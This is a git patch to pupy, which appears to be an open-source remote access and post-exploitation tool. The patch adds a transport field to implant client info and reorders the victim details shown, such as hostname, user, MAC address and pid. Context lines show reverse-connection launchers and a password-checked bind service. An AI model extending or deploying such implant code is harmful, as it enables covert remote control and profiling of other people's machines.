From 0c70dcfe745d3e6c284ba2f561cd22ca753bd7bd Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Tue, 31 May 2016 20:29:47 +0200 Subject: [PATCH] add transport in client info and reorder client info display --- pupy/modules/get_info.py | 5 ++--- pupy/network/base_launcher.py | 7 +++++++ pupy/network/launchers/auto_proxy.py | 1 + pupy/network/launchers/simple.py | 1 + pupy/pp.py | 5 +++-- pupy/pupylib/PupyServer.py | 3 ++- 6 files changed, 16 insertions(+), 6 deletions(-) diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py index 5fb362fe..e0667105 100644 --- a/pupy/modules/get_info.py +++ b/pupy/modules/get_info.py @@ -11,8 +11,7 @@ class GetInfo(PupyModule): #self.arg_parser.add_argument('arguments', nargs='+', metavar='') def run(self, args): infos="" - for k,v in self.client.desc.iteritems(): - if k not in ["conn","id","platform"]: - infos+="{:<10}: {}\n".format(k,v) + for k in ["hostname", "user", "release", "version", "os_arch", "pid", "exec_path", "proc_arch", "address", "macaddr", "transport", "launcher", "launcher_args"]: + infos+="{:<10}: {}\n".format(k,self.client.desc[k]) self.rawlog(infos) diff --git a/pupy/network/base_launcher.py b/pupy/network/base_launcher.py index 4c6b0d3d..64e63008 100644 --- a/pupy/network/base_launcher.py +++ b/pupy/network/base_launcher.py @@ -32,6 +32,7 @@ class BaseLauncher(object): self.arg_parser=None self.args=None self.host="unknown" + self.transport="unknown" self.init_argparse() def iterate(self): """ iterate must be an iterator returning rpyc stream instances""" @@ -40,8 +41,14 @@ class BaseLauncher(object): self.arg_parser = LauncherArgumentParser(prog=self.__class__.__name__, description=self.__doc__) def parse_args(self, args): self.args=self.arg_parser.parse_args(args) + def set_host(self, host): self.host=host def get_host(self): return self.host + def set_transport(self, t): + self.transport=t + def get_transport(self): + return self.transport + diff --git a/pupy/network/launchers/auto_proxy.py b/pupy/network/launchers/auto_proxy.py index 644589cc..239366bb 100644 --- a/pupy/network/launchers/auto_proxy.py +++ b/pupy/network/launchers/auto_proxy.py @@ -148,6 +148,7 @@ class AutoProxyLauncher(BaseLauncher): else: self.rport=443 self.set_host("%s:%s"%(self.rhost, self.rport)) + self.set_transport(self.args.transport) def iterate(self): if self.args is None: raise LauncherError("parse_args needs to be called before iterate") diff --git a/pupy/network/launchers/simple.py b/pupy/network/launchers/simple.py index 8056cc0d..d95aa0d0 100644 --- a/pupy/network/launchers/simple.py +++ b/pupy/network/launchers/simple.py @@ -21,6 +21,7 @@ class SimpleLauncher(BaseLauncher): else: self.rport=443 self.set_host("%s:%s"%(self.rhost, self.rport)) + self.set_transport(self.args.transport) def iterate(self): if self.args is None: raise LauncherError("parse_args needs to be called before iterate") diff --git a/pupy/pp.py b/pupy/pp.py index b76ba155..713c21c3 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -101,7 +101,7 @@ class BindSlaveService(ReverseSlaveService): self.exposed_namespace = {} self._conn._config.update(REVERSE_SLAVE_CONF) import pupy - if self._conn.root.get_password() != pupy.infos['launcher'].args.password: + if self._conn.root.get_password() != pupy.infos['launcher_inst'].args.password: self._conn.close() raise KeyboardInterrupt("wrong password") self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule)) @@ -170,7 +170,8 @@ def main(): pupy.infos={} #global dictionary to store informations persistent through a deconnection pupy.infos['launcher']=LAUNCHER pupy.infos['launcher_args']=LAUNCHER_ARGS - pupy.infos['launcher']=launcher + pupy.infos['launcher_inst']=launcher + pupy.infos['transport']=launcher.get_transport() rpyc_loop(launcher) finally: diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py index 36a088bf..5b0dd650 100644 --- a/pupy/pupylib/PupyServer.py +++ b/pupy/pupylib/PupyServer.py @@ -185,9 +185,10 @@ class PupyServer(threading.Thread): "exec_path" : l[9], "macaddr" : l[6], "pid" : l[7], - "address" : conn._conn._config['connid'].split(':')[0], + "address" : conn._conn._config['connid'].rsplit(':',1)[0], "launcher" : conn.get_infos("launcher"), "launcher_args" : obtain(conn.get_infos("launcher_args")), + "transport" : obtain(conn.get_infos("transport")), }, self) self.clients.append(pc) if self.handler: